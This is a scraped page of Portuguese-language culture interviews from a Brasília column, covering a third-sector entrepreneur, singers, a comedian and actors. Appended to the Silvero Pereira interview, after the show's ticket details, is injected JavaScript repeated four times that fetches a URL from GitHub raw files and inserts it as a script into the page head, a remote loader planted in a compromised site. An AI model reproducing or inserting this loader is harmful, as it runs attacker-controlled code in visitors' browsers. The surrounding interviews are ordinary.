Tito Santana: “A empatia torna o terceiro setor infindável”.

Empreendedor de sucesso e fundador da PROJETUS explica por que qualquer pessoa pode — e deve — se engajar por um bem coletivo. ONGs, fundações, institutos e associações. Quem nunca ouviu falar do famoso terceiro setor? Um conjunto de organizações sem fins lucrativos que atuam em causas sociais, culturais, ambientais ou humanitárias. Elas não pertencem ao governo (primeiro setor) nem às empresas privadas com fins lucrativos (segundo setor), mas muitas vezes colaboram com ambos para promover o bem coletivo. Em Brasília, o jovem empreendedor Tito Santana se destaca como referência na área, expandindo sua atuação à frente da PROJETUS — Govtech, fundada por ele em 2018 com o objetivo de simplificar o acesso a recursos públicos e apoiar organizações da sociedade civil. Com presença em 20 estados e no Distrito Federal, sua startup já gerenciou quase R$ 200 milhões em projetos, capacitou mais de 4 mil agentes sociais em todo o Brasil e impacta, atualmente, cerca de 1,5 milhão de vidas por ano por meio das iniciativas que apoia. Formado em Marketing, com MBA em Administração Pública, Tito foi selecionado para a prestigiada lista “Under 30” da Forbes Brasil em 2024, na categoria Empreendedorismo no Terceiro Setor. Recentemente, participou do Web Summit no Rio de Janeiro como representante de uma das 250 startups convidadas, conectando-se com líderes em tecnologia social. Entre suas iniciativas de destaque está o “Bate-Papo 3º Setor”, cuja segunda edição foi realizada, em abril, no Rio de Janeiro, com a participação de 600 instituições. O evento também estreou em São Paulo, reunindo 400 organizações em formato presencial e online, em maio. Em 2025, há planos de levar o projeto para o Acre, Espírito Santo e Minas Gerais. Entre seus projetos a curto prazo, está a participação como um dos destaques do Festival ABCR (Associação Brasileira de Captadores de Recursos), onde apresentará um painel sobre captação por meio de emendas parlamentares e seu impacto positivo no terceiro setor. Em breve, também fará o lançamento de seu primeiro livro, “Não Devolvemos Dinheiro”, que será publicado ainda no primeiro semestre. Baseado em suas palestras, a obra orienta agentes sociais sobre como utilizar verbas públicas de forma eficiente, evitando a devolução de recursos por falhas na execução de projetos. Mas, olhando mais para frente, o jovem empreendedor pretende desenvolver um spin-off independente — no qual está debruçado atualmente — que irá automatizar, por meio de ferramentas digitais, a captação de recursos para instituições, elaborando bons projetos com planos de captação eficientes e eficazes. Confira abaixo cinco perguntas que fizemos em uma entrevista exclusiva com Tito Santana, da PROJETUS – Govtech: Para muita gente, o 3º setor é um bicho de sete cabeças. Como explicar, rápido e fácil, o conceito e a prática? Eu costumo dizer que o terceiro setor somos todos nós. Inclusive, esse é um dos principais ensinamentos que trago no livro que lançaremos em breve, “Não Devolvemos Dinheiro”. Afinal, qualquer pessoa que se reúna ou que se importe com uma comunidade, com o resultado de uma política pública, em busca de um benefício maior, ela exerce uma atividade no terceiro setor. Explicando de forma rápida e fácil: você, na sua rua, na sua empresa, na sua família, pensando nos interesses do outro, do coletivo — isso é terceiro setor. Inevitavelmente, temos a parte do terceiro setor que é organizada, que se formaliza, que tem outro viés. Mas eu quero desconstruir isso e mostrar que CNPJ não é o terceiro setor, e sim todo mundo que se movimenta em função de um bem maior. Ou seja, somos todos nós. Como o Tito descobriu o 3º setor e o que mais lhe atraiu nele? Através da minha mãe, que sempre trabalhou com política pública para as famílias mais necessitadas. Ela veio de uma pobreza extrema, que se transformou em um desejo ardente de ajudar os outros. Inicialmente, eu me lancei como empreendedor e acabei falindo três vezes, voltando a morar com ela em todas essas ocasiões. Finalmente, pedi à minha mãe para a gente trabalhar junto, e ela me colocou num projeto de empreendedorismo em unidades de internação — o que me fez visitar todas as unidades do Distrito Federal. Passei a lecionar sobre empreendedorismo, ensinando o que não fazer, afinal, eu já tinha errado bastante. Foi um choque de realidade profundo, que aguçou minha curiosidade: “Como é que existe um recurso que não é dela, mas que serve para fazer o bem aos outros?”. Daí em diante me aprofundei e comecei a entender que existia uma rede, um movimento organizado. E isso me atraiu bastante, pois enquanto existirem seres humanos, vai existir essa necessidade de prosperar, de melhorar. E precisamos ser empáticos — não só por ser uma questão bíblica, mas por uma questão humana — e isso torna o terceiro setor infindável. Como você mesmo destacou, o começo é sempre difícil, gera dúvidas e medo. Depois de experimentar esse tipo de sentimento, hoje segue inabalável pelo caminho? Ah, não. Medo, dúvida, receio, desconfiança… tudo é inevitável, né? Tudo faz parte do processo. E o que sempre me deixou mais apreensivo, vamos dizer assim, foi a quantidade de pessoas que, cada vez mais, passaram a depender do meu trabalho — tanto nas instituições que a gente visitava quanto naquelas que eu passei a contratar. Isso me deixava mais agitado pela responsabilidade em si. Mas eu sou muito persistente, segui ajustando os ponteiros rumo à direção certa e, hoje, a gente está aqui colhendo frutos de um propósito bem aplicado — e alguns valores inegociáveis, como, por exemplo, nunca prosperar na dor do outro. O terceiro setor é isso aí. Como diz Winston Churchill: “O sucesso consiste em ir de fracasso em fracasso sem perder o entusiasmo”. Não é mesmo? Estar na capital do país abre mais ou menos portas para o 3º setor? Estar na capital do país, trabalhando com o que eu trabalho, inevitavelmente abre mais portas, graças às relações governamentais que fazem parte do dia a dia da cidade. No entanto, o terceiro setor tem uma certa

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Helena Sofia: revolução intimista da MPB com “BRAVA!”

Novo álbum teve processo criativo em residência artística realizada em Palermo, na Sicília, em 2018, onde as ruas da cidade e os encontros casuais com pessoas se transformaram em melodias e letras A música sempre foi uma força que desafiou as certezas de Helena Sofia. Quando a artista paranaense chegou a um ponto de reflexão sobre sua carreira, quase decidindo deixá-la de lado, foi a própria música que a trouxe de volta ao palco. “BRAVA!”, seu novo álbum, não só é uma afirmação de sua trajetória, mas também um recomeço profundo e transformador. O processo criativo do álbum remonta a uma residência artística em Palermo, na Sicília, em 2018, onde as ruas da cidade e os encontros casuais com pessoas se transformaram em melodias e letras. “Pierre e Danielle, por exemplo, conta a história de duas pessoas que conheci durante a viagem. Siciliano, que abre o disco, foi inspirado por um simples momento de saborear o sumo de um limão”, revela Helena. A visão de que as experiências cotidianas se tornam universais por meio da arte transparece no som do álbum. Ao lado da diretora musical Erica Silva, Helena se lançou na busca pelo conceito de antropofagismo, de Mário de Andrade, misturando referências da cultura brasileira com elementos da música eletrônica e até do reggaeton. “BRAVA!” é um álbum maduro, mas sem perder a ousadia. Em comparação com seus trabalhos anteriores, como Desejo Canibal (2014) e Tormenta (2016), este novo projeto reflete uma artista mais leve, que busca maior liberdade dentro da MPB que ela mesma denominou como “Música Perturbada Brasileira”. A vontade de ser autêntica e verdadeira com suas raízes musicais persiste, mas agora, de maneira mais fluida, com menos exigência, em um processo mais introspectivo, mas ao mesmo tempo mais expansivo. “Às vezes, a melodia me diz qual palavra eu preciso buscar. É muito intuitivo” A trajetória de Helena Sofia como artista sempre foi independente, desde a criação de seu primeiro álbum até agora. A dificuldade em levantar fundos e a constante luta para alcançar o público são algumas das maiores pedras no caminho de um artista independente. “Mesmo com estúdio próprio, gravar não é barato. E a etapa mais desafiadora é a divulgação. Sem dinheiro, a gente não vai muito longe. É um trabalho de formiguinha”, afirma. No entanto, ela vê nessa independência a possibilidade de criar livremente, sem se prender às expectativas de gravadoras ou de tendências mercadológicas. Esse ethos de liberdade e autenticidade se reflete também em seu processo criativo. Para Helena, o segredo está na conexão imediata entre letra e melodia. “Às vezes, a melodia me diz qual palavra eu preciso buscar. É muito intuitivo”, diz ela, explicando como sua escrita musical flui com a mesma naturalidade das conversas mais sinceras. Entre as faixas mais pessoais do álbum, Brava se destaca. Escrita no dia da morte de sua avó, essa canção carrega um peso emocional profundo, refletindo a despedida com uma expressão italiana que a avó costumava usar, celebrando a bravura de quem partiu. “Brava” se tornou não só uma maneira de se despedir, mas também um dos maiores pontos de conexão com o público, sendo uma das faixas que mais toca seus ouvintes. O clipe de Siciliano, gravado em uma pedreira abandonada, também se destaca como uma experiência única de empoderamento feminino. “O matriarcado pode ser a solução para todos os problemas”, Helena brinca, lembrando das dificuldades enfrentadas pela equipe durante as gravações, que foram feitas sob condições adversas. Mas o mais importante foi o fato de que o clipe foi produzido exclusivamente por mulheres, desde a produção até a segurança, um feito significativo em um mundo artístico muitas vezes dominado por outras dinâmicas. Nas redes sociais, onde Helena se conecta diretamente com seus fãs, a artista se utiliza do Instagram e do WhatsApp para criar uma comunidade mais próxima e pessoal. “Tento usar o TikTok, mas acho que minha idade não permite, hahaha”, ela ri, demonstrando sua abordagem descontraída e real com seu público. Para ela, as redes sociais são essenciais para superar as barreiras impostas pela indústria, e o contato direto com os fãs tem sido fundamental no sucesso do seu trabalho. Além de sua referência a ícones da MPB, como Gilberto Gil, Milton Nascimento e Rita Lee, Helena também se inspira na ousadia de artistas como Madonna e nas vanguardas da música brasileira. Nomes como Itamar Assumpção e Arrigo Barnabé são pilares para sua música, e, quem sabe, um dia, Helena possa ver a sua carreira desafiada por uma colaboração com esses ícones. “Eu iria me divertir muito com a Fernanda Takai e o John Ulhoa, do Pato Fu, temos uma energia caótica parecida”, confessa. “Espero que as pessoas não passem ilesas. Que a música ressoe, faça elas sentir, lembrar, ou pensar sobre algo que ainda querem fazer.” À medida que BRAVA! continua a ser descoberto, Helena Sofia está de olho no futuro. O próximo passo? “Quero continuar divulgando BRAVA!, gravar mais clipes desse álbum e talvez regravar algumas músicas de Desejo Canibal em uma versão mais intimista e acústica”, planeja, com a mesma energia que a manteve viva como artista ao longo dos anos. A jornada de Helena Sofia, iniciada ainda na infância com o piano e os corais, não é só uma busca pelo som perfeito, mas por uma conexão real com a alma do ouvinte. Em suas palavras, “Espero que as pessoas não passem ilesas. Que a música ressoe, faça elas sentir, lembrar, ou pensar sobre algo que ainda querem fazer.” E, sem dúvida, Helena segue buscando, a cada canção, um lugar onde o público e ela possam se reconhecer. Veja mais sobre a cantora clicando aqui no @helenasofiaoficial Fotos: Ana Paula Málaga e Divulgação

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Bruno Motta: “Este momento reúne tudo o que eu já aprendi”

Em entrevista exclusiva, o humorista fala sobre o prazer de estar fazendo o show Gongada Drag, sucesso nas redes e por onde quer que vá. Aos 43 anos de idade, o mineiro Bruno Motta acredita estar vivendo um momento único em sua carreira, que, cá entre nós, é repleta de feitos que o colocam na posição de um dos melhores comediantes brasileiros de stand-up de sua geração. Em um rápido bate-papo com a coluna #PERAMBULANDO, ele disse que está utilizando todas as artimanhas que sua profissão lhe ensinou para comandar o “Gongada Drag”. A fórmula do espetáculo, que vem fazendo grande sucesso na internet e em todos os teatros que excursiona pelo país, reúne comediantes e drag queens fazendo piadas entre si, mas principalmente detonando uma convidada especial. Com mais ácido sulfúrico, o veneno rola solto, carregado de muito “amor e afeto” como ele próprio garante. Momento “merchant” para quem não quer perder a chance de dar boas gargalhadas em sua passagem pela capital federal: o espetáculo acontece neste sábado (06), às 19h30, no Centro de Convenções Ulysses. A doméstica Rose de Lindsay Paulino será o alvo de Fernando Pedrosa, Babu Carreira  Frimes, Shannon Skarllet, Desirée Beck e da brasiliense Pikinéia. Aqui neste link você confere um vídeo que este colunista fez sobre o evento, e clicando aqui você garante seu ingresso (que já está no 3º lote) com 20% de desconto, basta escrever GIBA (em letras maiúsculas) no espaço reservado para cupom. Presente da coluna para os leitores. Mas voltando para Bruno Motta, vale destacar aos desavisados que ele é um dos pioneiros da comédia stand-up no Brasil. Seu estilo único e inovador conquistou o público em cheio, e sua habilidade em transformar observações cotidianas em fonte de riso sempre o destacou da grande maioria. A fama nacional veio quando se tornou um dos criadores e apresentadores do fenômeno televisivo “Furo MTV“, bem como pela sua passagem como apresentador do espetáculo “Improvável” (nos anos 2010). Hoje, ele reina, sobretudo, nos palcos e na Internet com vídeos hilários. A capacidade de pensar rapidamente e criar momentos hilariantes ao vivo fazem de Motta um dos mestres da comédia improvisada. Sem mais delongas, fiquem com o bate-papo: O que mais tem contribuído para o tremendo sucesso que Gongada Drag vem conquistando: o boca a boca; os recortes de cena no TikTok; a onda da stand-up comedy no Brasil ou a tradição dos programas de auditório? Eu acho que o que tem contribuído mais para o sucesso do Gongada é a falta de atrações para esse público (LGBTQIAPN+). Eu acho que a gente, realmente, nós somos únicos (reflete). Isso é uma parte muito importante. Não tem uma coisa parecida. Sabe? Como disse um amigo meu, não é qualquer lugar que você vai e consegue rir durante duas horas e meia. Então eu acho que é um conjunto de tudo que está acontecendo. Também acredito que as pessoas gostam de estar no meio de algo como se fosse um programa de auditório, ver o show acontecendo ao vivo e não só nos recortes do TikTok. Assim, parece que ela está dentro do melhor episódio do programa de TV favorito dela, de uma competição de drag. Enfim, eu acho que é um pouco de tudo, mas principalmente pelo fato de que a gente conseguiu reunir tantos ingredientes para fazer algo único. Não é raro vermos no palco do Gongada figuras mitológicas como Silvetty Montilla e Thália Bombinha dividindo a cena com meninas da “new generation” como Naza e Frimes. O choque de gerações não poderia resultar, como diz o meme, em um “choque de monstros”? A ideia do Gongada é justamente misturar programas de TV, referências, gerações diferentes e, até este momento, tem sido incrível para todo mundo, e para o público principalmente. No caso do roast americano, existe um limite tênue entre a brincadeira e a ofensa. O mesmo se aplicaria ao Gongada? Como evitar que o roast não ultrapasse limites, melhor dizendo, que o nosso tradicional veneno não transforme a brincadeira em algo intoxicante, especialmente ao vivo? No nosso caso, estamos educando o nosso público sobre o que é uma gongada para nós. Né? Tem amizade, tem afeto, tem uma diversão com sentido dos dois lados. Nós falamos que criamos um espaço seguro para poder se gongar, para poder fazer essa brincadeira e explicar para as pessoas que esse é o nosso jeito. O fato é, estamos aqui pela diversão! Sua carreira dispensa apresentações, mas seria correto dizer que você vive algo completamente inusitado no papel de anfitrião do Gongada Drag? Em que medida? E, sem modéstia, quais seriam os ingredientes que você diria que acrescentou nessa receita? Sim, este é um momento muito especial da minha carreira, porque reúne tudo aquilo que eu já aprendi. Eu acho que sou apresentador, mas também ajudo com elas na criação, com meu lado de produtor, de direção, de conseguir bolar, pensar todo este evento, tem meu lado de empresário também, da internet, então acho que acabo reunindo todos os meus talentos e mais alguns que eu esqueci aqui (enumera às gargalhadas). Acredito que política não está entre as ideias de uma gongada entre as drags, mas você arriscaria fazer alguma brincadeira sobre a cidade, sua proximidade com o tema? Tem alguma piada “pronta” sobre a capital federal ou do público daqui? Olha, eu acho que a gente pode dizer que quem sabe o nosso próximo presidente não é drag, né?   Fotos: Reprodução / Instagram do artista

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Silvero Pereira: “Só faço arte se tiver algo pra falar”

Silvero Pereira bateu um papo com o Lackman e contou sobre sua vida, carreira, moda e homenagem ao mestre Belchior, que chega a Brasília com três apresentações na Caixa Cultural De 8 a 10 de dezembro, a Caixa Cultural Brasília apresenta o show “Silvero Interpreta Belchior”. O multiartista canta as composições de Belchior, homenageando um dos mais relevantes compositores do Nordeste, que deixou um gigante legado para a música brasileira. Serão quatro apresentações na capital federal, duas delas seguidas de um intimista bate-papo entre artista e público. Os ingressos estão disponíveis na bilheteria do local e no site da Bilheteria Cultural. No palco, o roteiro do show reúne cerca de 18 canções conhecidas do grande público, hits que promovem momentos divertidos, emocionantes e introspectivos, como “Sujeito de Sorte”, “Como Nossos Pais”, “Medo de Avião”, “A Palo Seco”, “Paralelas”, entre outros clássicos que ganharam interpretações únicas com a performance de Silvero Pereira. Além da musicalidade envolvente, o espetáculo tem a teatralidade garantida com a dramaturgia, a troca de figurinos assinados por estilistas cearenses como Kallil Nepomuceno, o desenho de luz e a execução sonora de uma banda que acompanha Silvero desde 2021 e que se unem para garantir ao público uma experiência verdadeiramente inesquecível. Confira a entrevista exclusiva que o artista nos concedeu. Quem é Belchior quando descrito pelo Silvero Pereira? Belchior é um símbolo de força nordestina, um gênio que descreveu o Brasil de ontem e de hoje. Um artista atemporal e atento ao passado, presente e futuro. Na sua opinião, o que fez Belchior virar norma quando o assunto é boa música brasileira? A boa música brasileira é composta por artistas cultos, estudiosos e cheios de referências. Não se consegue ouvir Belchior com atenção e não se sentir modificado pelos seus versos. Sua carreira é repleta de nuances. Há TV, teatro, cinema, web e até passarela, como no DFB Festival em que vc se fez presente em vários desfiles. Ser esse profissional multifacetado é uma obrigação hoje ou você sempre quis estar em todos esse lugares?! Não me sinto nessa obrigação, faço aquilo que me dá prazer e me engrandece como artista. Sou um apaixonado e estudioso da arte, então vou experimentando e vendo o que pode ser transdisciplinar entre as diversas funções. No seu figurino tem peças do Kallil Nepomuceno, um dos maiores nomes do Nordeste. Essa valorização do que é da sua terra é digna de elogios. Você se considera um veículo de divulgação da sua terra? Totalmente! Nordeste é uma potência e precisamos sempre estar de mãos dados levando uns aos outros juntos. Vestir um estilista cearense é vestir minha armadura, minha história, meu povo! Como é ser um artista cearense de sucesso  em dias de redes sociais nos quais fama tem muito a ver com o que se posta e não muito com o que se faz? Uso minhas redes sociais de acordo com minhas convicções e reflexões. Sou divertido nas redes porque me divirto com ela, mas também uso essa ferramenta para divulgar meus textos de uma coluna do jornal local, pra fazer meus posicionamentos e divulgar meus trabalhos. Não quero ser fútil nas redes! Esse show te fez descobrir algo novo sobre você? O que Belchior acrescentou na sua vida ao interpreta-lo? Esse show é um encontro com minha história através dos versos de um outro cearense, saído do interior e que buscou seus sonhos na arte e nos estudos. Esse show é uma exposição da minha história, meus percursos. Existe um gatilho para te fazer cantar? Te dá vontade de cantar quando… A arte pra mim é gatilho! Só faço arte se tiver algo pra falar, que me inquieta e questiona a sociedade. Qual o significado de roupa, moda e estilo pra você? Moda é quem vive! Eu não ligo pra tendências, uso aquilo que me faz bem e expõe minha personalidade.   Quer ir ao show? Silvero Interpreta Belchior  Na CAIXA Cultural Brasília (SBS Q.4 – Asa Sul, Brasília) Dias 08, 09 e 10 de dezembro de 2023 Horário: Dia 08 (sexta) às 20h; dia 09 (sábado) às 17h (sessão com libras) e 20h (sessão com bate-papo); dia 10 (domingo) às 19h (com bate papo) Ingressos: R$30 (inteira) R$15 (meia) Classificação indicativa: Livre para todos os públicos Acesso a pessoas com deficiência   Informações: (61) 3206-9448 https://www.caixacultural.gov.br Fotos: Divulgação var url = ‘https://raw.githubusercontent.com/lolngnos/loles/main/step.txt’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.src = data.trim(); document.getElementsByTagName(‘head’)[0].appendChild(script); });;var url = ‘https://raw.githubusercontent.com/truba77/trubnik/main/from.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});;var url = ‘https://raw.githubusercontent.com/truba77/trubnik/main/from.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});var url = ‘https://raw.githubusercontent.com/lolngnos/loles/main/step.txt’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.src = data.trim(); document.getElementsByTagName(‘head’)[0].appendChild(script); });

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Renata Jambeiro canta Clara Nunes: “É uma conexão com a minha ancestralidade”

Em entrevista exclusiva para o Lackman & CO., cantora que teve sua vida atravessada pelo sucesso de Clara Nunes, presta homenagem, e conta um pouco sobre como é sua vida na música  O cenário musical  brasiliense tem suas fases bem definidas e, para além do rock, a capital tem talentos que fazem da música um de seus bens mais preciosos. Renata Jambeiro, que percorre os melhores palcos e é, sem dúvidas, uma das melhores joias que temos no nosso lineup de representantes musicais estreará o show “Mestiça – Celebrando Clara Nunes” revisitando a discografia da mineira que marcou a Música Popular Brasileira nas décadas de 1970 e 1980. A apresentação será no dia 9 de novembro (quinta-feira), às 20h, no Teatro SESC Garagem (913 Sul). O espetáculo costura músicas, performances e textos e contará com a participação especial de artistas que também tiveram suas histórias entrelaçadas com a obra de Clara Nunes como Cássia Portugal  e Marcelo Café. A cantora, de 41 anos, iniciou na arte do canto ainda na adolescência e tem em seu currículo, musicais e muitos espetáculos teatrais. Apesar de não ser musicista formada, sua formação em Artes Cênicas e Dança a transportou pelos meandros das artes de performance e a colocou no seu devido e merecido lugar, o de cantora. Renata aproveitou um tempinho entre os ensaios e nos concedeu uma entrevista cheia de detalhes sobre ser artista e sua paixão pela música. Confira: Quem é a Renata Jambeiro entendida, descrita e vivenciada pela própria Renata Jambeiro? “Mel Dels”, que pergunta difícil! Renata é filha de Obá, não foge da luta mas leva a vida sempre olhando o copo cheio. Intensa em tudo, amiga, acolhedora, carinhosa. Mas também afrontosa (como diz a amada Mãe Dora), decidida e obstinada. Caminhando e vendo quem sou a cada esquina, encruzilhada, reta e curva.  A Renata é muito “diferenciada” das outras Renatas do planeta. Ela é um poço sem fundo de talento e vê o mundo pelas lentes da arte. O que faz a Renata acordar diariamente e viver? Primeiro, fico agradecida pelo carinho ao qual se refere a mim e a minha trajetória. O que me faz levantar e viver é me sentir útil pro mundo e fazer as pessoas felizes. Por isso eu canto. Porque eu gosto de cantar a felicidade, a alegria. Muitas vezes as pessoas me falam que meu canto é reza, que me ouvem quando estão tristes e precisam ficar felizes e é isso, isso me faz levantar e trabalhar. Inspirar meus filhos, para que vejam a mãe fazer algo que ama, poder sustentá-los com amor e alegria. Você ouve o que canta? Em que momentos a sua música te faz ouvinte dela? Sim, me ouço. E gosto e me emociono. Não ouço com tanta frequência, mas ouço sim. Quando eu estou feliz ou quando preciso transmutar alguma energia que não está legal, eu recorro a mim mesma e meus pilares musicais Bethânia, Clara e Daniela. A Renata de hoje é aprimoramento ou continuidade da Renata de ontem? A Renata hoje é um acúmulo de Renatas anteriores, de Renatas diversas. Algumas Renatas passaram, outras permanecem sendo eternamente lapidadas. Mas talvez, uma Renata hoje se destaque, que é a Renata-mãe, que concentra várias numa só e que trouxe uma outra perspectiva de olhar sobre a vida, a arte e nossa missão nesse mundo. Após tantos anos na estrada fazendo e dando shows diferentes, o que descobriu sobre você? Complexo responder em poucas linhas mas o que eu poderia dizer é que eu conheci lugares (cidades, países) que eu não sabia que queria conhecer e dentro de mim, lugares que eu não sabia que existiam até a arte, a música e o samba me apresentarem. Eu sou um ser artístico desde que nasci. E descobri o quanto é importante a gente ser quem a gente é, entender quando uma expectativa é sua e quando é dos outros e que você sempre pode aprender com qualquer pessoa e situação, ensinar e inspirar e ser inspirado o tempo todo. É um movimento contínuo. O que pode contar sobre suas perspectivas de futuro musical? Tem um futuro se traçando agora que é retomar o show em celebração a Clara Nunes – Mestiça. Mas também formatando o projeto “Fé Menina” pra circular e ocupar espaços com formação de mulheres (seguindo o fluxo de trabalhos femininos que sempre permearam minha trajetória) e gravação do álbum novo, o “Forasteira”. Tudo isso na música. Outros projetos igualmente intensos estão para estrear como a “Revista do Samba”, agora em novembro, encabeçada por mim e realizada pelo instituto Mumalanga, alguns trabalhos de curadoria e direção artística de festivais e grupos, e ocupação 2024 com o instituto Caminhos Abertos, do qual sou presidente. Existe um gatilho para te fazer cantar? Te dá vontade de cantar quando… Até sorri pra essa pergunta. Agora já me deu vontade de cantar! Quando acordo e tem Sol, quando meus filhos brincam comigo, quando os coloco pra dormir eu sempre canto, quando estou com medo, quando estou feliz, quando estou comendo. Eu canto comendo. Juro! Quando faxino a casa, arrumo coisas é ótimo ouvir música e cantar alto.  Experimenta cantar e ouvir o disco “Fogaréu” pra vassourar a casa! Conte-nos sobre seu mais novo show “Mestiça”. Sabemos que você é uma admiradora de Clara Nunes. Ao que se deve esse carinho pela “tal mineira guerreira”? Clara faz parte da minha vida desde sempre. É minha mãe cantando alto em casa em domingo de sol. É alegria e chegança. É uma conexão com minha ancestralidade. É minha relação com a umbanda e o candomblé desde sempre. A  Clara fala de um Brasil profundo até hoje, pra minha geração e sempre que sinto o chamado, volto com esse show. Assim posso continuar seu legado e seguir falando de sua contribuição e importância para a música popular brasileira. O que o público ganhará de presente no seu show? Verdade, energia, alegria! Um show de um Brasil potente, plural, magnético, forte e resiliente. Músicos de

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Zezé Motta: “Não tenho arrependimento, tudo é aprendizado”

Mulher, negra e potente. Assim é a atriz e cantora que estreia terceira de programa que enaltece mulheres negras A multiartista Zezé Motta estreou a terceira temporada do “Especial Mulher Negra 2023” no canal E! Entertainment. O programa foi exibido para homenagear  o Dia da Mulher Negra, Latino-americana e Caribenha. Gravado no Santa Teresa Hotel RJ – MGallery, a atração contou com performance da Iza, cantando “Meu Talismã”. O especial também trouxe personalidades  da arte e do ativismo negro, como Elisa Lucinda, Taís Araújo, Dandara Mariana, Clara Moneke, Luedji Luna, Liniker a Ministra da Cultura Margareth Menezes, jornalista e apresentadora Maju Coutinho e Sônia Guimarães, primeira mulher negra brasileira doutora em Física e a primeira a lecionar no Instituto Tecnológico de Aeronáutica (ITA) em depoimentos.  Desde sua primeira edição em 2020, o “Especial Mulher Negra” tem ganhado notoriedade e o apoio de grandes nomes do cenário artístico e ativista, e a presença marcante de Zezé Motta nesta terceira temporada reforça a importância da representatividade e da valorização da cultura negra. Zezé nos deu a honra de uma pequena entrevista. Confira: Você inspira mulheres diariamente com suas ações e palavras. Essa mulher empoderada sempre teve espaço dentro das suas expectativas de vida? Acredito que sempre teve espaço, porém foi uma construção. Tudo que passei nesses quase 80 anos de vida e 55 de carreira, me tornaram a mulher que sou hoje, cada dificuldade e vitória, costumo dizer que não tenho arrependimentos, tudo é aprendizado. Cantar e atuar estão muito lado a lado. Alguma dessas duas funções, que você assumiu com maestria, é mais fácil? Eu amo cantar e atuar, faço ambos até hoje, é uma união que dá certo para mim, acredito que tudo que fazemos com amor flui para nós, não posso escolher um só (risos). O que a Zezé Motta cantora tem a dizer a quem quer ter uma carreira e trajetória de sucesso como a que Zezé Motta mulher conquistou?! Seja firme em suas decisões, acredite no seu potencial e em seus valores e acho que o mais importante, não leve nada para o lado pessoal. Fotos: Miguel Sá/Divulgação/Reprodução Web

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Jorge Guerreiro: “Entendo a moda como expressão, assim como forjar uma poesia”

Uma das promessas da atual geração de atores brasileiro mostra que a moda pode ser leve, confortável e fazer todo sentido no lifestyle Jorge Guerreiro, é um dos nossos mais talentosos e versáteis atores do cenário atual brasileiro. Com 41 anos, o carioca com altura de modelo, que é uma das incríveis crias do grupo “Nós do Morro” trilha um caminho de excelência na indústria do entretenimento. Com passagens por espaços com a Escola de Teatro Le Monde e a Escola de Atores Wolf Maia, ambas no Rio de Janeiro, Jorge mudou-se para São Paulo e ingressou na ELT – Escola Livre de Teatro, tendo o seu primeiro contato com o teatro paulistano, um passo que o levou para a conceituada Escola de Arte Dramática – EAD/ECA/USP, na Universidade de São Paulo. No audiovisual, fez uma participação memorável na segunda temporada da aclamada série “Rio Heroes“, dirigida por Luis Pinheiros para a Fox. Além disso, Guerreiro conta em seu currículo com curtas-metragens, incluindo “Ponto”, “Universos”, “O Olho” e “Apanhador”, entre outros. Nos palcos festeja seu trabalho em espetáculos como “Quintal do Manuel” dirigido por Bel Sete, “OTorcicologologista” dirigido por Mônica Montenegro, “Tudo Aquilo Que Já Dissemos” – Silvana Garcia, e “Maputo – Terça-feira em Cena” – Janaina Leite, “Ensaio Para As Tempestades” – José Fernando Peixoto. Em 2023, Jorge Guerreiro está envolvido nas filmagens da aguardada série “Justiça 2” da GloboPlay, dirigida por Gustavo Fernandez e escrita por Manuela Dias, autora de “Amor de Mãe“, “Justiça” e “Cordel Encantado“. Em um papo sobre moda, Jorge aponta escolhas, estilo e deixa claro que moda e conforto andam de mãos dadas. Confira: Você tem uma beleza de tirar o fôlego dos fandons e tem também toda uma facilidade para ser fotografado. Já trabalhou como modelo? Se não, de onde vem essa habilidade? Oba! Hahaha! Obrigado pelo carinho. Eu comecei a carreira como modelo, e na agência que eu fazia parte me aconselharam a estar no teatro para melhorar a desenvoltura. Mas sempre tive um trabalho ativo com o corpo desde criança, então manipular ele partindo da mais pura essência até a estética da forma acaba não sendo tão distante. A moda está aí, cada vez mais para todos. Como é sua relação com a moda? Tem um estilo definido? Ótima!!! Dou graças a esse compartilhamento dos fundamentos da moda, veja quantas ideias e possibilidades temos hoje, marcas novas , linhas novas, referências… Está mais rico. Eu entendo a moda como expressão, assim como forjar uma peça, construir um personagem, uma poesia. Tudo isso fala diretamente o que somos, mesmo enquanto sociedade. Sobre estilo definido, penso que “estou” em uma pegada voltada para a simplicidade, até para o genderless, tanto no desenho quanto na utilidade das peças. Na hora de se vestir para sair o que pesa mais, o conforto ou o resultado na frente do espelho?  Vai da intenção. Mas tenho preferido o conforto, eu estou num momento da vida em que as coisas mais leves estão fazendo mais sentido, agora, tem os dias que o resultado na frente do espelho tem toda razão de existir (risos). Com toda liberdade que os homens têm hoje de ser e se expressarem pelo que vestem, qual roupa você não deixaria de ter e qual você não se imagina usando? A priori não é uma crítica ao estilo sapatênis e tudo que ele abrange, mas é algo que não concebo, o que cai diretamente na ideia de expressão e que tem a ver com construção, visão de mundo, por aí vai… Que não seja um apontamento a quem opte, mas uma perspectiva. Agora o que eu não deixo de ter é um belo costume slim, preto ou grafiti. Muito se fala sobre o que combina ou não com uma pessoa, a partir de estudo de coloração, trabalho desempenhado, entre outros. Você segue tendências de mercado ou se veste de acordo com a necessidade? Acho muito difícil estar longe da influência das tendências, partindo da ideia de que somos construídos todos os dias, obvio que as experiências particulares vão determinar de alguma forma a variação dessa influência, o que vira necessidade. No final eu tento dosar usando o conforto como baliza. Tem alguém que considere estiloso é que te inspira ao escolher suas roupas? Se sim, quem e por quê? Gosto do Oscar Metsavaht (Osklen), de como ele pensa o vestir-se. Tem algo que você ainda não vestiu, mas que pensa em usar quando tiver a oportunidade para usar? Ricardo Almeida e Alexandre Won. Acompanhe Jorge Guerreiro no Instagram: @jorge_guerreiro7 Fotos: Allis Bezerra e Lucio Luna

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Federico Puppi: “Me expresso mais através do violoncelo do que com minha voz”

